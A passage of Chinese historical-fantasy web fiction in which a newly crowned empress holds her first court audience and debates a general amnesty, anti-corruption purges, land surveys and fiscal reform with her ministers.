苏文卿也是心中一凛,但久经官场,他很快镇定下来,谨慎措辞答道:“回陛下,臣等草案中,对此类情形确有所考虑,但因其情形复杂,善恶难辨,故未单列,而归入‘因旧制所累’之范畴,由三法司复核时,根据具体案情、言辞内容、造成影响,仔细甄别。若确系忠直谏言、忧国忧民而蒙冤者,或言辞虽有过激,然本心为公,且未造成严重后果者,自当予以赦免,乃至**;若实属恶意攻讦、散布谣言、惑乱人心、危害社稷安定者,则不在赦免之列,当维持原判,以正视听。” 这个回答很稳妥,很符合官场中庸之道,既给了**的可能,也堵住了借机为真正煽动颠覆者开脱的漏洞,将皮球踢给了“三法司复核时仔细甄别”。 然而,谢凤卿却未置可否,她的目光扫过殿中诸臣,尤其在几位以耿直敢谏、甚至有些迂腐闻名、也曾因此吃过亏的御史和翰林脸上稍作停留,然后才淡淡开口,声音平静,却字字千钧,敲在每个人心上:“苏爱卿思虑周全,老成谋国。然,朕以为,言论之罪,最易冤滥,亦最易堵塞言路,蒙蔽圣听。防民之口,甚于防川,川壅而溃,伤人必多。为君者,当有纳百川之胸襟,容逆耳之雅量。若只因言语不合上意,或批评官吏政绩不佳,或指陈朝政弊病,便罗织罪名,下狱问罪,非但堵塞天下言路,使朕成为聋瞽之人,更令忠直之士寒心远遁,使阿谀逢迎之徒得势猖獗,于国于民,有百害而无一利。长此以往,朝廷如何得知民间疾苦?政令如何避免失误?贪腐如何得以遏制?” 她顿了顿,目光更加清明坚定:“朕既以‘事在人为’自勉,欲开创盛世,自当广开言路,察纳雅言,闻过则喜。故,朕意已决,此次大赦,凡因议论国事、批评官吏、指陈时弊、乃至对朕施政有所规劝或非议而获罪者,只要非蓄意造谣诽谤、捏造事实,非暗通敌国、泄露机密,非煽动叛乱、颠覆朝廷,无论其原先所定罪名轻重,言辞是否激烈,一律赦免,既往不咎!其案卷,由都察院牵头,刑部、大理寺配合,重新复核。确系**者,予以**昭雪,酌情补偿,恢复名誉;罪证确凿但情有可原、其心可悯者,赦免其罪,削职或降级,以观后效。日后,朕当明谕天下,并着刑部、都察院详议,修订律例,非谋逆、谤讪君亲、煽动叛乱等确凿重罪,不得以言入罪,不得因文字构陷!” 这番话,清晰、明确、斩钉截铁,如同在平静的湖面投入千斤巨石,瞬间激起千层巨浪,冲击着在场每一位官员的心神! 许多官员,尤其是那些曾因上书言事触怒先帝、或被政敌以“诽谤”“大不敬”等罪名构陷下狱、贬谪的官员,闻言猛地抬头,眼中爆发出难以置信的激动光芒,甚至有人身体微微颤抖,热泪盈眶!赦免因言获罪者,甚至要“明定律例”限制以言入罪,这简直是前所未有的开明之举!是真正的“圣主明君”气象!这意味着,只要不触及真正的底线,他们日后在朝堂上说话、上书言事,可以少许多顾忌,多几分底气,可以真正为百姓、为社稷发声!这对于整顿吏治、监督百官、促进朝政清明、防止君王独断专行,意义之重大,难以估量!一些年轻气盛、满怀理想的官员,更是感觉热血上涌,看向御座上那道身影的目光,充满了近乎崇拜的炽热。 当然,也有保守的、习惯于“君要臣死臣不得不死”、强调绝对权威的官员面露忧色,眉头紧锁。礼部尚书、一位年过花甲、须发皆白、德高望重的老臣王守仁,颤巍巍出列,他手持玉笏,因年迈而微微佝偻着身子,但神情肃穆,躬身道:“陛下,老臣斗胆,有言启奏。陛下虚怀若谷,广开言路之心,日月可鉴,天地共昭。然,老臣愚见,凡事需有度,过犹不及。防民之口,甚于防川,固是古训,然水能载舟,亦能覆舟。若全然放开言禁,不设藩篱,恐使小人辈借机逞其口舌之利,肆意攻讦大臣,诽谤君上,诋毁朝政,致使朝堂之上终日纷争不断,纲纪松弛,威信扫地,有损陛下天威,亦动摇国本啊!且悠悠众口,最难驾驭,一旦形成流言蜚语,蛊惑民心,恐生不测之祸。昔日汉末党锢之祸,前朝言官攻讦之弊,不可不察。还请陛下三思,于开言路之时,亦需立规矩,明界限,方为长治久安之道。”王守仁是朝中有名的理学大家,最重纲常礼教,君君臣臣父父子子,秩序高于一切。他能说出这番话,引经据典,实是出于维护朝廷纲常稳定的拳拳之心,并非刻意反对。 谢凤卿看向这位须发皆白的老臣,目光平静,并未动怒,反而带着一丝对老臣尽责的尊重,但她的语气依旧坚定,不容置疑:“王老尚书所虑,乃老成谋国之言,不无道理。朕亦知,水无常态,言无定形。然,民言确如水,堵之愈急,其溃愈烈;疏之导之,使之归于江河,方能灌溉田地,滋养万物。朕不惧批评,不避指责,只怕听不到真话,看不到实情。若因几句批评、几声非议,便能动摇国本,损及天威,那这国本,未免也太脆弱了些,这天威,也未免太倚仗于缄口不言了。真正的国本,在于民心 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她的话铿锵有力,掷地有声,带着洞察历史的清醒与开创未来的魄力。王守仁张了张嘴,花白的胡须颤抖着,还想再劝,但看到御座上那双平静却深邃如星空、仿佛能洞悉一切利弊、已然下定决心的眼眸,又看到丹墀下萧御微微摇头、示意他不必再争的眼神(萧御深知谢凤卿心意之决,且此事从长远看,利远大于弊,是奠定开明政局的关键一步),终究是长叹一声,苍老的面容上流露出复杂的神色,有无奈,有忧虑,也有一丝隐隐的、对这位年轻女帝魄力的叹服。他退了回去,垂下眼帘,喃喃低语道,声音不大,但前排几人可闻:“陛下圣明烛照,乾纲独断,老臣……老臣只是尽提醒之责,惟愿陛下永持此心,善辨忠奸,则社稷幸甚。”这几乎算是变相的认可了。 谢凤卿不再看他,目光重新投向肃立的苏文卿,语气恢复平静,却带着不容更改的决断:“苏爱卿,将朕方才所言,明确加入大赦条款。单列一条:赦免因言获罪者。具体如何界定‘蓄意造谣诽谤’、‘暗通敌国’、‘煽动叛乱’等除外情形,由内阁会同刑部、都察院,于三日内拟出详细实施细则,务必清晰明确,避免歧义,报朕御览后,明发天下。” “臣,遵旨!”苏文卿深吸一口气,躬身应道,心中对这位年轻女帝的魄力、见识与敢于打破陈规的勇气,又多了几分由衷的钦佩。能如此果断、清晰地迈出这开明而关键的一步,非大智慧、大勇气、大格局的雄主不能为。他仿佛看到了一个不同于以往任何时代的朝堂气象正在徐徐展开。 “其二,”谢凤卿继续道,声音比方才更冷了几分,如同冬日寒泉,“关于贪墨之罪。草案中言,贪墨军饷、戕害百姓之首恶不赦。然,寻常贪墨,尤其是地方州县官吏,借征收税赋、摊派劳役、审理词讼、管理市场之机,巧立名目,盘剥百姓,中饱私囊者,或许单起数额不大,但积少成多,为祸甚烈,直接侵害黎民切身利益,动摇朝廷在地方的统治根基,败坏官府信誉。此类蠹虫,数量众多,是否也在赦免酌情之列?” 第206章人人自危 这个问题更为尖锐,直指吏治核心顽疾。贪墨是历朝历代难以根治的痼疾,牵涉官员众多,上至中枢,下至胥吏,盘根错节,利益勾连。若在此次大赦中一概不赦,恐牵扯太广,引起整个官僚体系的剧烈震荡,甚至可能迫使某些人狗急跳墙,串联生事,影响地方稳定;若轻易赦免,又何以平民愤、正纲纪、树新风?何以体现新朝反贪决心?这其中的分寸拿捏,极为考验**智慧。 苏文卿额角微微见汗,这个问题他们内阁商议时分歧最大,争论激烈。他谨慎答道,字斟句酌:“陛下明鉴,洞悉时弊。贪墨之害,确如陛下所言,如附骨之疽,侵蚀国脉。然,此类案件往往数量庞大,情形复杂。有主动索贿、敲骨吸髓者;有被迫**、同流合污者;有数额巨大、民愤沸腾者;也有情节相对轻微、且事后有所悔改者。且地方贪墨,往往与当地豪强、上级官员、乃至京中权贵有所勾连,牵一发而动全身。若一概不赦,恐……”他迟疑了一下,选择了一个相对委婉的说法,“恐涉及官员过众,影响地方政务正常运转,亦可能迫使某些人铤而走险,隐匿罪证,对抗朝廷,甚至酿成地方祸端。草案所议,是采取分化策略,除首恶元凶及数额特别巨大、情节特别恶劣、民愤极大者外,其余可视其情节轻重、退赃是否积极彻底、有无检举揭发他人立功表现、平日官声如何等,酌情处理。或可免其刑责,但需追缴全部赃款赃物,并削去官职,革去功名,永不叙用,子孙亦不得科考为官。” 这个处理方案,算是典型的折中之策,既给了大部分中下层贪官一条“生路”(免于牢狱之灾或杀头之罪),又剥夺了他们的**生命和非法所得,算是“惩前毖后,治病救人”,也给了他们一个“改过”的机会(退赃、检举),意图在维持稳定的前提下,逐步肃清贪腐。 谢凤卿沉默了片刻,指尖在御案光滑的紫檀木面上轻轻叩击,发出极有节奏的轻微声响。殿内落针可闻,所有官员,尤其是那些心中有鬼的地方官在京代表、以及与地方有千丝万缕联系的京官,心都提到了嗓子眼,后背渗出冷汗。许多人的目光偷偷瞟向丹墀下的萧御,试图从他脸上看出些许端倪,但萧御只是垂眸静立,面色沉静如水,看不出任何情绪。 “贪墨之害,甚于洪水猛兽,甚于外敌入侵。”谢凤卿缓缓开口,声音冷冽如数九寒冰,带着彻骨的寒意与毫不掩饰的憎恶,“虎狼食人,血肉可见,可防可避;贪墨蚀国,无形无声,却能蛀空江山根基,使民心离散,使政令不通,使忠良寒心,使国库空虚。此乃**之兆,朕深恶之!” 她目光如电,扫过殿中一张张或紧张、或惶恐、或故作镇定的面孔,继续道,语气斩钉截铁:“朕知水至清则无鱼,亦知积弊如山,非一日可平,需徐徐图之。然,新政欲行,盛世欲开,必先立威于天下!立威之道,在于严惩贪墨,以儆效尤!若连贪墨都不能痛下决心整治,何谈其他改革?天下人将如何看待朕?如何看待这‘凤翔’新朝?” 她身体微微前倾,目光更加锐利,带着迫人的压力:“传朕旨意:此次大赦,凡贪墨之罪,无论中枢部院,还是地方州县,无论官职高低,俸禄厚薄,除有确凿证据证明系被上官或豪强胁迫、且未造成严重后果、并能主动检举揭发更大贪墨案件、有重大立功表现者外,一律不在赦免之列!已定罪者,按律执行,该抄家抄家,该流放流放,该问斩问斩,绝不姑息!未定罪但已掌握确凿证据者,由三法司、监察司严查速审,限期结案!所有赃款赃物,务必全力追缴,充实国库,或返还受害百姓,一文钱也不得流失!” “陛下!”这次,不仅王守仁脸色发白,连户部右侍郎(并非已升任内阁次辅的张庭筠)也忍不住出列,他是具体管钱粮度支的,深知地方税收的种种猫腻与其中牵扯利益之深之广,声音带着焦急:“陛下,贪墨虽可恨,然冰冻三尺非一日之寒。若处置过急过严,不分轻重,恐令地方州县官员人人自危,束手束脚,政令不敢推行,差事不敢承办,反而不利于新政推行,不利于地方安定啊!且追缴赃款,牵连甚广,耗时费力,容易激起反复,恐生变乱,请陛下三思!” “人人自危?”谢凤卿冷笑一声,那笑声在寂静的大殿中显得格外清晰冰冷,“若为官清廉,秉公执法,一心为民,自可安枕无忧,何惧之有?若心中有鬼,手脚不净,那便该惧!该怕!新政要的,是清廉自守、能干实事、一心为公的官,不是那些趴在百姓身上敲骨吸髓、只顾中饱私囊的蠹虫!政令不通?”她语气更厉,“朕倒要看看,是朕的旨意不通,还是那些贪官污吏自己定的‘规矩’不通!从今日起,凡有借故拖延、阻挠新政、或消极怠工者,御史台、监察司可即刻**,查实后,以抗旨论处!” “至于追缴赃款耗时费力,容易生变,”她语气森然,带着不容置疑的决绝,“再难,也要做!再险,也要行!那是民脂民膏,是国库税收,是前线将士的饷银,是灾荒之年的救命粮!岂容这些宵小肆意侵吞,挥霍享乐?着刑部、户部、监察司,即日起抽调精干得力人手,成立‘清账司’,专司督办各地贪墨案件之赃款追缴事宜!赐王命旗牌,遇有地方官员阻挠、包庇、或贪墨数额特别巨大、情节特别恶劣、涉及高位者,无论其有何背景,有何靠山,‘清账司’主事可持王命旗牌,有先斩后奏之权,事后报备即可!若遇疑难,或涉及宗室勋贵,可直接报朕,或报监国亲王处置!” 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苏文卿心中暗叹,知道陛下这是要借大赦定调之机,行雷霆万钧之势,为新政的推行祭旗立威了。反贪,无疑是凝聚民心、树立威信、打击旧既得利益集团最直接有效的突破口。他不再犹豫,躬身道:“臣,遵旨。即刻修改草案,明确贪墨之罪原则上不赦,并拟定‘清账司’之职权、章程与人选,报陛下陛下圣裁。”他知道,从此刻起,一场席卷大周官场的反贪风暴,将正式拉开序幕,而他和他的同僚,将被推至风口浪尖。 “其三,”谢凤卿的声音放缓了些,但依旧清晰冷静,带着对具体事务的审慎,“关于各地在押待审案犯的复核清理。草案定下一月之期,限期完成,以免拖延。然,一月之期,对于全国数以万计的案件而言,是否足够?三法司现有得力人手可足?朕要的,是实质的公正,是冤屈得以昭雪,是积案得以清理,而非仅仅追求速度,敷衍了事。若有**错案,因赶时间而未能详查,草率维持原判,或仓促释放真凶,岂非违背朕大赦天下、体恤民情、彰显司法公正之本意?此非施恩,实为造孽。” 她考虑问题确实深入,不仅关注结果,也关注过程与可能出现的弊端。苏文卿闻言,心中更是凛然,忙回道:“陛下所虑极是,臣等亦曾反复商议此事。一月之期,是限期,亦是督促,意在改变以往狱讼拖沓、经年不决的积弊。三法司现有专职人手确实不足,臣已初步协调,可从各省按察使司、刑名经验丰富的老吏中临时抽调精干者入京协助,并请都察院派员分赴各地,监督复核过程,防止地方官敷衍塞责。然,正如陛下所言,天下刑狱案牍浩如烟海,一月之内欲悉数复核清楚,确有力有未逮,强行为之,恐生错漏。” 第207章户部掌管天下钱粮,于此可有具体 他略一思索,提出折中方案:“臣建议,可仿照司法旧例,分轻重缓急,区别对待。先集中力量,复核所有拟判**、流刑等重刑案,以及关押超过五年、案情久拖不决之案。此类案件关乎人命或长期羁押,最为紧急。其余徒刑、杖刑等轻罪案件,或关押时间较短者,则可适当延长复核期限至两月或三月,但需明确最终结案时间,张榜公示,并向案犯及其家属说明原委,避免悬而不决,令其再生绝望,或滋生事端。如此,既能集中力量办要案,亦能兼顾全面,稳妥推进。” “可。”谢凤卿点头同意,补充道,“具体如何划分轻重缓急,由三法司根据实际情况,五日内拟定详细分期分批方案,报朕知晓。记住,复核非走过场,需调阅原始案卷、证物、供词,必要时需重勘现场,传唤关键人证,务求查清事实真相,不枉不纵。若三法司或地方官吏在复核中敷衍塞责、徇私枉法,或收受好处,致使**不得昭雪,或纵放真凶,一经查出,无论官职大小,与案犯同罪论处!朕绝不容忍司法**,玷污此次大赦仁政!” “臣等明白!定当恪尽职守,公正复核!”苏文卿与刑部尚书、大理寺卿、都察院左都御史齐声应道,心头都是一紧,感到肩头责任重大如山。陛下将此番大赦的落实,与吏治、司法清明直接挂钩,若有差池,后果不堪设想。 “另外,”谢凤卿沉吟片刻,又道,语气中多了一丝不易察觉的柔和,那是属于帝王的、高高在上的“仁心”,“复核期间,着刑部明发公文至各地牢狱,改善在押囚犯之待遇。非重刑犯、非有暴力倾向者,不得滥用械具;饮食须得保障,不得克扣;若有疾病,需提供医药。天气渐暖,亦需注意牢狱通风防疫。若有囚犯在复核期间非正常死亡,当地主官及典狱官吏,需承担重责,严惩不贷!朕大赦天下,是给予生路,而非催命。” 这一条,更是体现了仁政的细节与对生命的尊重。许多官员,尤其是那些并非酷吏的官员,闻言暗自点头,心中对这位女帝的评价又高了一层。这位陛下,思虑确实周详,既有雷霆手段震慑奸邪,亦有菩萨心肠体恤卑微(至少表面如此),刚柔并济,方是明君之道。 “其四,”谢凤卿的声音恢复了平静,继续部署,“大赦诏书颁布后,各地省、府、州、县官府,需在城门、衙署、集市等醒目处,张榜公布,并派衙役乡绅下乡宣读,务必使诏书内容晓谕百姓,妇孺皆知。乡野僻壤,亦需设法传达,不得以地处偏远为由隐瞒拖延。诏书原文,不得曲解,不得添减。更不得有官吏借传达诏书、办理赦免手续之机,勒索、敲诈、为难应赦之人或其家属。若有违者,百姓可赴都察院驻各地巡按处或进京告状,一经查实,涉事官吏立斩不赦,其上官连坐!” “是!臣等必将陛下严旨,传达至每一名地方官吏!”苏文卿等人肃然应诺。他们深知,再好的政策,到了执行层面都可能变形,陛下预先敲打,防微杜渐,实有必要。 “最后,”谢凤卿的目光再次扫过全场,最后落在苏文卿身上,语气带着一丝定调的意味,“大赦诏书最终文本,由内阁根据今日所议,尽快草拟完善,经朕御览朱批后,用传国玉玺明发天下。同时,”她顿了顿,加重语气,“以朕之名义,另颁一道‘求言诏’,鼓励天下官绅士民,无论出身,无论朝野,皆可直言朝廷政令得失,检举官吏不法情事,建言地方利病。凡有实据,言之有物,朕必虚心嘉纳,酌情采纳,并对建言者予以奖赏提拔。此‘求言诏’与大赦诏同期颁布,天下咸知。以示朕广开言路、求贤若渴、革新除弊之决心,亦使天下人知,朕非因循守旧之君,乃励精图治之主!” “陛下圣明!”这一次,不仅是苏文卿,殿中许多官员,包括一些原本中立的,都发自内心地躬身称赞,声音比之前更加响亮整齐。大赦与求言并举,一宽一严,一收(收拢民心)一放(放开言路),既能安抚民心,缓和矛盾,又能激发朝野活力,汇聚民智,更能彰显新朝锐意进取、开明包容的新气象。这位年轻女帝的**手腕与布局眼光,已初现峥嵘,令人不敢小觑。 “苏爱卿,”谢凤卿最后道,语气不容置疑,“大赦条款,就按方才朕所议定修改。内阁需全力以赴,三日内,朕要看到最终定稿。求言诏亦需同时拟就。退朝后,内阁、三法司、相关各部,即刻依议行事,不得延误。” “臣,遵旨!必不负陛下所托,即刻办理!”苏文卿躬身领命,退回文官班列,心头沉甸甸又带着一丝振奋。他知道,一场影响深远的大变革,已经随着女帝清晰而有力的旨意,正式启动了。 处理完“大赦天下”这件新朝第一要务,殿内气氛稍微松弛了些许,但依旧紧绷,无人敢真正放松。谁都看得出,女帝行事果决,思路清晰,目标明确,且对吏治贪腐、司法不公、言路闭塞等问题深恶痛绝,接下来的朝议,恐怕也不会轻松,必然涉及诸多实政。 果然,苏文卿刚退下,新任户部尚书周文康便手持玉笏,出列奏道。他年约四旬,面容精干,目光有神,是原户部侍郎,以精通钱谷、善于理财、且对新政抱有务实支持态度而得到提拔。此刻,他脸上带着显而易见的忧色:“陛下,大赦天下,固可收拢民心,彰显仁德,此乃文治之举。然,国之大者,在祀与戎。如今新朝方立,百端待举,百废待兴,处处需钱,时时耗粮。北境戎狄虽经去岁挫败,暂时退却,然狼子野心未泯,边关仍需重兵布防,粮饷军械消耗巨大;江南漕运去岁方经整治,初见成 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谢凤卿神色不变,显然对此早有预料。她登基前以摄政王身份理政,对国库情况岂能不知?“周爱卿所言,句句实情,亦是朕心腹之忧。开源节流,朕亦思之久矣。开源之道,首要在于恢复民生,藏富于民。轻徭薄赋,鼓励耕织商贸,使百姓安居乐业,民间财富增长,税基自然扩大。此乃长久之计,绝非加征重税,竭泽而渔。节流之道,在于裁汰冗官冗员,削减一切不必要之宫廷用度、工程兴建,将有限钱粮,用在刀刃上,用于民生、边防、水利等紧要之处。” 她看向周文康,目光带着考较与期待:“户部掌管天下钱粮,于此可有具体章程?” 周文康早有准备,闻言精神一振,条理清晰地奏道:“回陛下,臣与同僚连日商议,已初步拟出数条,恭请陛下圣裁。开源方面,其要有四:” “其一,清丈田亩,核实税基。此乃重中之重。自前朝中叶以来,天下田亩册籍混乱,隐田匿税严重。尤其各地宗室、勋贵、官绅、豪强,往往利用特权,勾结胥吏,大量隐匿田产,逃避税赋。此一项,若能彻底清查,追缴历年积欠,重新核定税基,岁入预计可增一到两成,且最为公平,可减轻小民负担。” “其二,鼓励工商,疏通商贸。降低市舶关税,简化商船出入手续,吸引海外番商前来贸易,增加关税收入。同时,整顿国内关卡,取消一些地方擅自设立的不合理杂税、陋规,规范商税征收,避免税吏盘剥中饱,使商旅畅通,货殖繁盛,则商税自然增加。” “其三,推广新技,提高产出。工部近年来在江南试验新式织机、水车、曲辕犁等,颇有成效。可考虑由朝廷适当资助,在江南、岭南等适宜之地,鼓励民间仿制推广,提高丝棉、粮食产量,民间富足,则税源更广。” 第208章凤翔盛世 “其四,改革专卖,增加岁入。盐、铁、茶等,历来官营,然弊病丛生,效率低下,私盐私茶泛滥。可考虑在个别产盐区或产茶区,试行‘官督商办’或‘特许经营’之法,朝廷控制源头与定价,将生产、运输、销售交由信誉良好的商人承办,朝廷坐收税利,或可增加收入,亦便于管理,减少走私。” “节流方面,其要有五:”周文康继续道,显然深思熟虑。 “其一,核查裁汰冗员。由吏部牵头,核查在京各衙门及各地方官府实有员额与差事,裁撤那些挂名领俸、无所事事、或职责重叠的闲散官吏、勋贵子弟荫官,严控新的恩荫、捐纳。此举非但节省俸禄开支,更能提高行政效率。” “其二,削减宫廷用度。内务府各项开支,如膳食、器物、仪仗、修缮、赏赐等,需重新核算,制定新规,在现有基础上,削减三成。陛下与宫中以身作则,厉行节俭,可为天下表率。” “其三,暂停非紧急工程。各地非关国计民生、非紧急必需的宫殿、园林、陵寝、寺观等修建工程,一律暂停或延缓,待国用稍裕再议。已开工者,亦需重新审核预算,削减规模。” “其四,严格军费审计。兵部、户部、监察司需联合对各地军镇、卫所的军费开支,尤其是粮饷、军械、马匹采购等大宗支出,进行严格审计,杜绝虚报冒领、克扣兵饷、以次充好等弊端。此一项,若能堵住漏洞,节省之数,恐不下数十万两。” “其五,改革漕运,减少损耗。漕运损耗历来巨大,有‘千里漕运,损耗过半’之说。需进一步整治河道,改良漕船,加强押运管理,严惩盗卖漕粮,减少运输环节的损耗与**,亦可节省大笔开支。” 周文康侃侃而谈,显然做足了功课,所提措施皆切中时弊。然而,这些措施,尤其是清丈田亩、裁汰冗员、削减宫廷用度、核查军费、改革漕运专卖等,几乎每一条都深深触及庞大的既得利益集团,阻力之大,可以想见。 谢凤卿静静听完,手指在御座光滑的扶手上轻轻敲击,这是她思考时的习惯动作。沉吟片刻,她缓缓开口,声音冷静而带着决断:“周爱卿所奏开源节流诸策,皆切中时弊,深合朕心。然,正如爱卿所言,推行起来,阻力不小,尤以清丈田亩、核实税基为最。此乃虎口夺食,必然触动宗室勋贵、地方豪强之根本利益,恐有拼死反抗。周爱卿,” 她目光直视周文康,带着审视与托付:“你可能为朕分此忧,担此重任?” 周文康心中一凛,知道这是陛下要将最烫手、也最核心的山芋交给自己了。清丈田亩,是真正的“硬骨头”,成功了,功在社稷,利在千秋;失败了,或者半途而废,自己必将成为众矢之的,身败名裂。但他亦是锐意进取、心怀大志之臣,更深受女帝知遇之恩,当即深吸一口气,肃然出列,躬身道:“为国理财,为民清账,乃臣户部本职!臣愿为陛下分忧,纵有千难万险,亦当一往无前!然,” 他话锋一转,也提出实际困难:“此事牵涉太广,非户部一部之力可成。需陛下明发诏书,赋予全权,公告天下,以为依据。并需请都察院派员随行监督,刑部提供律法支持,五城兵马司及地方驻军,在必要时予以武力弹压。更需……监国亲王殿下坐镇中枢,予以全力支持协调,遇有顽抗巨室,方可雷霆处置。”他看向萧御,这既是求助,也是将亲王推到前台,分担压力。 萧御立刻出列,神色肃穆,声音沉稳有力,带着不容置疑的决心:“陛下,清丈田亩,核实天下税基,乃固国本、安民心、开财源之第一要务!臣愿全力支持周尚书。可颁特旨,赐王命旗牌,凡有阻挠清丈、隐匿田产、暴力抗法者,无论涉及何人,五品以下官员及庶民,周尚书可持王命旗牌先拘后奏;五品以上官员及勋贵宗室,可即刻锁拿,报臣或陛下裁决!地方驻军需听从调遣,护卫清丈。若有地方官敷衍塞责、勾结豪强,一并严惩!臣愿立军令状,必为周尚书扫清障碍,确保此政畅通无阻!” 萧御的表态,强硬而直接,几乎是以军方和亲王权威为清丈田亩保驾护航,甚至赋予了“先斩后奏”之权(对五品以下),这无疑给了周文康极大的底气,也震慑了那些可能心怀不轨者。 “好!”谢凤卿点头,眼中闪过一丝锐芒,“即着户部牵头,成立‘清田司’,周文康兼任主事,赐王命旗牌,有专断之权。都察院、刑部、五城兵马司及各地驻军,需全力配合,听其调遣。遇有疑难或涉及高位宗亲者,可直报朕或监国亲王裁决。清丈田亩,自京畿始,逐步推开,务求公正,不冤不纵。首要目标,是厘清勋贵、官员、寺观名下田产,尤其是赏赐田、职田、祭田等,是否与册籍相符,有无违制多占。其次,核查地方豪强与普通民户田产。此事,三年为期,朕要看到一本清清楚楚的天下田亩鱼鳞册!” “臣,领旨!”周文康与相关官员齐声应道,心头沉甸甸,亦感热血沸腾。这是一项足以载入史册的艰巨任务。 “至于裁汰冗员,”谢凤卿继续部署,条理分明,“由吏部牵头,都察院监督,制定详细考核标准与裁撤流程,公开透明。朕不要一刀切,但要切实裁掉那些不做事、只拿俸禄、甚至贪赃枉法的蠹虫!同样,宫廷用度削减,由内务府与户部共同核算,制定新规,朕与宫中妃嫔(目前尚无)、太监宫女,皆需遵守,违者重罚。非紧急工程暂停,由工部核查列明,报内阁审议后施行。军费审计,由兵部、户部、监察司成立联合审计小组,定期巡查各地军镇,朕要看到每一两银子的详细去向,凡有贪墨,严惩不贷!” 她一条条安排下去,责任明确,时限清晰,显 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接下来,朝会议程继续。兵部尚书出列,奏报北境边防形势、各地卫所整顿、军械更新、以及如何安置去岁立功将士等事宜;工部尚书奏报各地水利工程险情、道路桥梁修缮计划、以及将作监新式器械研发进展;礼部尚书奏报今年科举改制具体方案(增加实务策论比重)、筹备女学推广事宜(先在京城及几个大城试办官立女塾)、以及接待即将来朝的番邦使节安排;吏部奏报中低级官员考核升迁章程修改……桩桩件件,皆是实政。 谢凤卿一一听取,或当场裁决,或要求相关部门限期详议后奏报。她思维敏捷,反应迅速,往往能抓住问题的关键与矛盾所在,给出的指示也切合实际,既能把握方向,又给执行者留下一定空间。令许多原本对她能力、尤其是处理具体政务能力存疑的官员,渐渐收起了轻视之心,转为慎重,乃至钦佩。 这位女帝,或许年轻,或许是个女子,但其见识之广、思虑之深、魄力之强、决断之明,以及对国家各项政务的熟悉程度,远超他们的预期。看来,那三年摄政生涯,并非虚度,也绝非仅仅依靠萧御支持,她是真的在用心学习、观察、思考如何治理这个庞大而复杂的帝国,并早已形成了自己的一套理念与方略。 朝会从清晨持续到将近午时,时间漫长。当最后一位大臣奏毕,殿内重新陷入沉寂,一时间竟无人再出列奏事。并非无事可奏,而是新帝第一日临朝,节奏紧凑,信息量巨大,许多官员需要时间消化,也需要观察同僚反应。 空气似乎都凝固了,只剩下殿外隐约的风声,御座上那道沉静身影带来的无形压力,以及丹墀下绛紫色身影的沉默守护。 文武百官垂手肃立,心思各异,心潮起伏。新帝登基第一日朝会,节奏之快,效率之高,条理之清,魄力之强,涉及范围之广,远超许多人想象。大赦与求言定调,反贪与清田立威,开源与节流并举,议边防、论水利、商科举、谋女学……桩桩件件,皆非虚言敷衍,皆有具体指向、责任到人、限期督办。这位凤翔女帝,显然不是来坐享其成、垂拱而治的守成之君,她是真的要大刀阔斧,革故鼎新,打破积弊,开辟一个属于她的、前所未有的“凤翔盛世”。 第209章绝不姑息!勿谓言之不预 许多习惯了前朝因循、拖沓、敷衍、扯皮之风,习惯了在模糊地带攫取利益的官员,感到一种强烈的不适应,甚至隐隐的压力与窒息感,仿佛被一条无形的鞭子催促着,被一道冰冷的目光审视着。但同时,一股难以言喻的、混合着期待、亢奋、乃至热血沸腾的情绪,也在一些官员,尤其是年轻或锐意进取、胸怀理想的官员心中滋生、蔓延。或许,这个时代,真的会不同。或许,他们真的能追随一位明主,做一番经天纬地的事业,青史留名。 谢凤卿端坐御座,居高临下,目光平静地扫过下方一张张或激动、或凝重、或忐忑、或沉思、或掩饰着不安的面孔。她知道,今日的朝会,只是开端,是亮剑,是定调。新政的推行,绝非几道诏令、几次朝议就能完成。前方有无数的障碍、明枪暗箭、利益纠葛、人心鬼蜮在等待。地方上的执行,更是千难万险。但她无惧。她从断魂崖下的尸山血海中爬回来,从死亡边缘挣扎回来,历经朝堂倾轧、阴谋诡计、生死考验,为的,不就是这一刻吗?为的,不就是亲手扳开迷雾,重塑这山河,开创一个她理想中的清平世界吗? 她的目光,最后落在丹墀下那道绛紫色的身影上。萧御微微垂首,侧脸线条在殿内透过高窗洒下的天光中显得格外清晰坚定,如同刀削斧刻。她能感受到他无声的支持,那是一种无需言语、却坚实如山、可托付生死的力量。帝后共治,不仅是名分上的结合,更是实质上的同盟。他将是她最锋利无匹的剑,斩断一切阻碍;最坚实可靠的盾,抵御所有明枪暗箭;最懂她心思的盟友,共谋国策;最深情的归宿,给予她在这孤寒巅峰之上,唯一的温暖与慰藉。 片刻的寂静后,谢凤卿缓缓开口,声音恢复了最初的平静,却带着一种不容置疑的、定鼎乾坤般的力道,清晰地传入每个臣子的耳中:“今日朝议,诸卿所奏,朕已悉知。新政伊始,百端待举,千头万绪。朕不望一蹴而就,但求脚踏实地,步步为营,稳扎稳打。凡今日所议定诸事,各部各司其职,内阁总揽协调,按所定期限,切实督办,朕要看实绩,看结果,不听空言虚辞。推行之中,若有实际困难,可详实奏报内阁,可报监国亲王,亦可直奏于朕。朝廷当共商解决之道。但,” 她语气骤然转厉,目光如电,扫过全场:“若因循苟且,推诿塞责,阳奉阴违,或借新政之名行贪腐之实,贻误时机,致使国事受损,百姓受苦,朕必严惩不贷!绝不姑息!勿谓言之不预!” 她顿了顿,语气又转为深沉凝重,带着一种超越个人荣辱的使命感:“朕以‘事在人为’自勉,登基祭天,亦以此昭告天下。此四字,非仅朕一人之座右铭,亦当是诸位臣工,与天下有志之士,共勉之信条。这大周**江山,锦绣社稷,非朕一人之江山,乃是我等君臣,与天下亿兆黎民,共担之江山!开创凤翔盛世,海晏河清,国泰民安,非朕一人之夙愿,亦当是诸位臣工,与天下苍生,共同之愿景!望诸卿,莫负朕望,更莫负这天下苍生之望!同心同德,共赴时艰,则盛世可期,天下幸甚!” 话音落下,余音似乎还在大殿高阔的梁柱间萦绕,带着沉甸甸的分量与炽热的期望。 “臣等谨遵圣谕!必竭忠尽智,鞠躬尽瘁,辅佐陛下,开创盛世!陛下万岁万岁万万岁!”以苏文卿、周文康等重臣为首,文武百官齐声应道,声震殿宇,久久不息。这一次的应答,比朝会初始时的礼仪性山呼,更多了几分郑重、决心与受到鼓舞后的激昂。至少在这一刻,许多人心中那点对新朝的疑虑、观望,被这清晰有力的蓝图和女帝展现出的魄力才能,冲淡了不少,取而代之的是一种参与开创历史的振奋感。 “退朝——”高无庸适时上前,用尽气力,拖长了声音高唱。 “恭送陛下,陛下万岁万岁万万岁!”百官再次整齐跪倒,山呼万岁,声浪如潮。 